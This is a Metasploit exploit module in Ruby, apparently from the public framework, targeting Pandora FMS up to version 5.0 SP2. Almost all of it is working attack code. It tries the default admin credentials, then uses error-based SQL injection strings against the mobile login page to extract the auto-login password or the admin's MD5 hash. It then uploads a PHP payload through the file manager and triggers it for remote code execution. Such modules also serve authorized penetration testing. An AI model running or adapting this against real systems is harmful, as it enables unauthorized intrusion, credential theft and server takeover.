# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pandora FMS SQLi Remote Code Execution',
      'Description'    => %q{
        This module attempts to exploit multiple issues in order to gain remote
        code execution under Pandora FMS version <= 5.0 SP2.  First, an attempt
        to authenticate using default credentials is performed.  If this method
        fails, a SQL injection vulnerability is leveraged in order to extract
        the "Auto Login" password hash.  If this value is not set, the module
        will then extract the administrator account's MD5 password hash.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
          'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
        ],
      'References'     =>
        [
          ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
          ['URL', 'http://blog.pandorafms.org/?p=2041']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Pandora FMS version <= 5.0 SP2', {}]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 50000,
          'DisableNops' => true,
        },
      'DisclosureDate' => "Feb 1 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
          OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
          OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
        ], self.class)
  end

  def uri
    return target_uri.path
  end


  def check
    # Check version
    vprint_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'index.php')
    })

    if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/ && res.body =~ /(?<=xx-small;">v)(.*?)(?=<\/td>)/
      version = $1
      vprint_status("#{peer} - Pandora FMS version #{version} detected")
    else
      vprint_status("#{peer} - Unable to access Pandora FMS")
      return Exploit::CheckCode::Unknown
    end

    if version && version <= '4.1.1'
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end


  def authenticate
    print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
    # Attempt to login with default credentials (admin:pandora)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => {
        'login' => "1",
      },
      'vars_post' => {
        'nick' => datastore['USER'],
        'pass' => datastore['PASS'],
        'Login' => 'Login',
      }
    })

    return auth_succeeded?(res)
  end

  def login_hash
    print_status("#{peer} - Attempting to extract auto login hash")
    # Generate random string and convert to hex
    sqlq = rand_text_alpha(8)
    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
    # select value from tconfig where token = 'loginhash_pwd';
    sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
    sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
    sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
    sqli << "BY x)a) AND 'msf'='msf"

    password = inject_sql(sqli, sqlq)

    if password && password.length != 0
      print_status("#{peer} - Extracted auto login password (#{password})")
    else
      print_error("#{peer} - No auto login password has been defined!")
      return false
    end

    print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
    # Attempt to login using login hash password
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => {
        'loginhash' => 'auto',
      },
      'vars_post' => {
        'loginhash_data' => Rex::Text.md5("admin#{password}"),
        'loginhash_user' => 'admin',
      }
    })

    return auth_succeeded?(res)
  end


  def auth_succeeded?(res)
    if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
      print_status("#{peer} - Successfully authenticated!")
      print_status("#{peer} - Attempting to retrieve session cookie")
      @cookie = res.get_cookies
      if @cookie.include?('PHPSESSID')
        print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
        return true
      else
        print_error("#{peer} - Error retrieving cookie!")
      end
    else
      print_error("#{peer} - Authentication failed!")
    end

    false
  end


  def extract
    print_status("#{peer} - Attempting to extract admin password hash")
    # Generate random string and convert to hex
    sqlq = rand_text_alpha(8)
    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
    # select password from tusuario where id_user = 0;
    sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL"
    sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
    sqli << ",0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
    sqli << "x)a) AND 'msf'='msf"

    password = inject_sql(sqli, sqlq)

    if password && password.length != 0
      print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
    else
      print_error("#{peer} - Unable to extract password hash!")
      return false
    end
  end


  def inject_sql(sql, fence_post)
    # Extract password hash from database
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, 'mobile', 'index.php'),
      'vars_post' => {
        'action' => 'login',
        'user' => sql,
        'password' => 'pass',
        'input' => 'Login'
      }
    })

    result = nil
    if res && res.code == 200
      match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
      if match
        result = match[1]
      else
        print_error("#{peer} - SQL injection failed")
      end
    end
    result
  end

  def upload
    # Extract hash and hash2 from response
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => @cookie,
      'uri'    => normalize_uri(uri, 'index.php'),
      'vars_get' => {
        'sec' => 'gsetup',
        'sec2' => 'godmode/setup/file_manager'
      }
    })

    if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
      form = $1

      # Extract hash
      if form =~ /(?<=name="hash" type="hidden"  value=")(.*?)(?=" \/>)/
        hash = $1
      else
        print_error("#{peer} - Could not extract hash from response!")
        print_error("#{peer} - Upload will fail!")
        return false
      end

      # Extract hash2
      if form =~ /(?<=name="hash2" type="hidden"  value=")(.*?)(?=" \/>)/
        hash2 = $1
      else
        print_error("#{peer} - Could not extract hash2 from response!")
        print_error("#{peer} - Upload will fail!")
        return false
      end

      # Extract real_directory
      if form =~ /(?<=name="real_directory" type="hidden"  value=")(.*?)(" \/>)/
        real_directory = $1
      else
        print_error("#{peer} - Could not extract real_directory from response!")
        print_error("#{peer} - Upload will fail!")
        return false
      end
    else
      print_error("#{peer} - Could not identify upload form!")
    end


    # Upload script
    @payload_name = "#{rand_text_alpha(8)}.php"
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
    post_data.add_part('', nil, nil, 'form-data; name="unmask"')
    post_data.add_part('Go', nil, nil, 'form-data; name="go"')
    post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
    post_data.add_part('images', nil, nil, 'form-data; name="directory"')
    post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
    post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
    post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')

    print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
    res = send_request_cgi({
      'method' => 'POST',
      'cookie' => @cookie,
      'uri'    => normalize_uri(uri, 'index.php'),
      'ctype'   => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'vars_get' => {
        'sec' => 'gsetup',
        'sec2' => 'godmode/setup/file_manager'
      }
    })

    if res && res.code == 200 && res.body.include?("Upload correct")
      register_file_for_cleanup(@payload_name)
      print_status("#{peer} - Successfully uploaded payload")
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
    end

    # Trigger Payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'images', @payload_name),
      'cookie' => @cookie
    }, 1)
  end


  def exploit
    # First try to authenticate using default or user-supplied credentials
    if authenticate
      upload
    # If default credentials fail, try to extract loginhash via SQLi
    elsif login_hash
      upload
      extract
    # In the worst case, try to extract password hash
    else
      @rce_failed = true
      extract
      fail_with(Failure::Unknown, "#{peer} - Unable to perform remote code execution!")
    end
  end
end